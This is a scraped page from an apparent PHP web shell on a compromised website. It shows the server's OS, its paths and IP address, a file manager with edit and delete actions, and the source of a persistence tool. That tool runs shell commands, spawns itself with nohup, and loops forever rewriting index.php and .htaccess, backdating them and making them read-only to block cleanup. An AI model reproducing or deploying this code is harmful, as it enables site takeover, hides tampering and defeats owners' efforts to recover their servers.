nyan
— Manage your Google Account —
Linux server1.greyncircle.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
  SOFT : Apache PHP : 8.1.31
/home/qrafawbu/qrafiqxcreativeagency.com/accounts/office/public/
162.254.33.18

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
css dir drwxr-xr-x 2023-11-20 09:16 R D
flags dir drwxr-xr-x 2023-06-20 10:20 R D
fonts dir drwxr-xr-x 2023-06-20 10:30 R D
front dir drwxr-xr-x 2023-10-16 10:40 R D
i18n dir drwxr-xr-x 2023-10-16 12:16 R D
img dir drwxr-xr-x 2023-11-22 10:53 R D
js dir drwxr-xr-x 2023-11-20 09:16 R D
saas dir drwxr-xr-x 2023-10-16 10:40 R D
user-uploads dir drwxr-xr-x 2024-11-19 16:01 R D
vendor dir drwxr-xr-x 2023-10-16 10:40 R D
  .htaccess 0.237 KB -rw-r--r-- 2025-01-08 03:45 R E G D
  OneSignalSDKUpdaterWorker.js 0.069 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  OneSignalSDKWorker.js 0.069 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  country.json 50.544 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  default.php 14.637 KB -rw-r--r-- 2025-01-08 03:03 R E G D
  error_install.php 1.661 KB -rw-r--r-- 2023-10-16 06:48 R E G D
  favicon.ico 15.045 KB -rw-r--r-- 2023-10-16 06:48 R E G D
  favicon.png 1.003 KB -rw-r--r-- 2023-10-16 06:48 R E G D
  index.php 6.818 KB -rw-r--r-- 2025-01-08 03:46 R E G D
  install-version.txt 0.008 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  manifest.json 0.097 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  message-notification.mp3 34.219 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  style2.php 9.136 KB -rw-r--r-- 2025-01-08 03:45 R E G D
  version.txt 0.007 KB -rw-r--r-- 2023-11-23 11:36 R E G D
  web.config 1.166 KB -rw-r--r-- 2023-06-20 10:30 R E G D
  wp-extends.php 0.586 KB -rw-r--r-- 2025-01-09 06:24 R E G D
REQUEST EXIT
$submit_value

"; // echo '
'; // echo ''; // echo ''; // echo '
'; } function html_display($data_array) { foreach ($data_array as $key => $value) { echo PHP_EOL . '
' . PHP_EOL; echo "

$key : $value

"; } } function is_cli() { $is_cli = preg_match("/cli/i", php_sapi_name()) ? true : false; if ($is_cli === false) { if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) { $is_cli = true; } } if ($is_cli === false) { if (!isset($_SERVER['SCRIPT_NAME'])) { $is_cli = true; } } return $is_cli; } function run($code, $method = 'popen') { $disabled = explode(',', ini_get('disable_functions')); $new_disable = array(); foreach ($disabled as $item) { $new_disable[] = trim($item); } if (in_array($method, $new_disable)) { $method = 'exec'; } if (in_array($method, $new_disable)) { return false; } $result = ''; switch ($method){ case 'exec': exec($code,$array); foreach ($array as $key => $value) { $result .= $key . " : " . $value . PHP_EOL; } return $result; break; case 'popen': $fp = popen($code,"r"); while (!feof($fp)) { $out = fgets($fp, 4096); $result .= $out; } pclose($fp); return $result; break; default: return false; break; } } function functionCheck() { $disabled = explode(',', ini_get('disable_functions')); $new_disable = array(); foreach ($disabled as $item) { $new_disable[] = trim($item); } if (in_array('exec', $new_disable) && in_array('popen', $new_disable)) { return false; } return true; } function lockfilefunc($lock_file_path,$current_file_name,$content,$hash_content){ if (!file_exists($lock_file_path)) { @file_put_contents($lock_file_path, $content); @touch($lock_file_path, strtotime("-400 days", time())); @chmod($lock_file_path, 0444); } $new_content = file_get_contents($lock_file_path); $new_hash_content = hash('sha1', $new_content); if ($new_hash_content != $hash_content) { @unlink($lock_file_path); @file_put_contents($lock_file_path, $content); @touch($lock_file_path, strtotime("-400 days", time())); @chmod($lock_file_path, 0444); } @chmod($lock_file_path, 0444); } if (is_cli()) { @unlink($current_file_path); // index $content = file_get_contents($lock_file_path); $hash_content = hash('sha1', $content); // .htaccess $htContent = file_get_contents($lock_ht_path); $hash_ht_content = hash('sha1', $htContent); // exit; while (true) { if (file_exists($current_file_name)) { break; } lockfilefunc($lock_file_path,$current_file_name,$content,$hash_content); if ($lockHt == 1){ lockfilefunc($lock_ht_path,$current_file_name,$htContent,$hash_ht_content); } sleep(1); } } function lockfile($file, $data) { @unlink($file); chmod($file, 0777); @unlink($file); file_put_contents($file, $data); chmod($file, 0444); usleep(1000000); } if ( strstr($_SERVER['SCRIPT_NAME'], $current_file_name)) { echo '锁码
'; htmlForm($current_file_name, "lock", "2 - 锁文件"); htmlForm($current_file_name, "modify", "使加锁文件可修改"); echo '
信息：'; switch ($_GET['action']) { case 'function': $data_array[] = array(); $disabled = explode(',', ini_get('disable_functions')); html_display($disabled); // $results = run("ps aux"); // foreach (explode("\n", $results) as $value) { // $data_array[] = $value; // } // html_display($data_array); break; case 'check': $php_path = getPhpPath(); $data_array['php 路径'] = $php_path; $result = run("$php_path -v"); if ($result === false) { $data_array['执行错误'] = '现有方法无法执行命令'; html_display($data_array); break; } preg_match("/PHP ([.0-9]+)/si", $result, $matches); if (isset($matches[1])) { $data_array['php 版本'] = $matches[1]; } if (file_exists($lock_file_name)){ $data_array['加锁文件路径'] = $lock_file_path; } html_display($data_array); break; case 'lock': $php_path = getPhpPath(); if (functionCheck() !== false) { //$data_array['执行命令'] = "nohup $php_path " . $current_file_path . " >/dev/null 2>&1 &"; $data_array['执行命令'] = "nohup $php_path " . $current_file_path . " >/dev/null 2>&1 &"; run($data_array['执行命令']); $result = run("ps aux | grep $current_file_name"); foreach (explode("\n", $result) as $value) { $data_array[] = $value; } html_display($data_array); } else { $data_array['执行错误'] = '现有方法无法执行命令,执行第二种方案的锁'; html_display($data_array); @unlink(__FILE__); error_reporting(0); ignore_user_abort(true); set_time_limit(0); $CodeIndex = @file_get_contents('index.php'); $CodeHtaccess = @file_get_contents('.htaccess'); while (1 == 1) { if (file_exists(__FILE__)) { header('Location: http://' . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']); break; } lockfile('index.php', $CodeIndex); lockfile('.htaccess', $CodeHtaccess); }; } break; case '4': $data_array[] = array(); $results = run("ps aux | grep " . $current_file_name); foreach (explode("\n", $results) as $value) { $data_array[] = $value; } html_display($data_array); break; case 'modify': $data_array['修改结果'] = "失败"; if (chmod($lock_file_path, 0777)) { $data_array['修改结果'] = "成功"; } html_display($data_array); break; case 'phpinfo': phpinfo(); break; case 'php_version': $php_path = getPhpPath(); $data_array[] = array(); $results = run("$php_path -v"); foreach (explode("\n", $results) as $value) { $data_array[] = $value; } html_display($data_array); break; default: break; } echo '
'; exit(); } echo $_SERVER['SCRIPT_NAME'];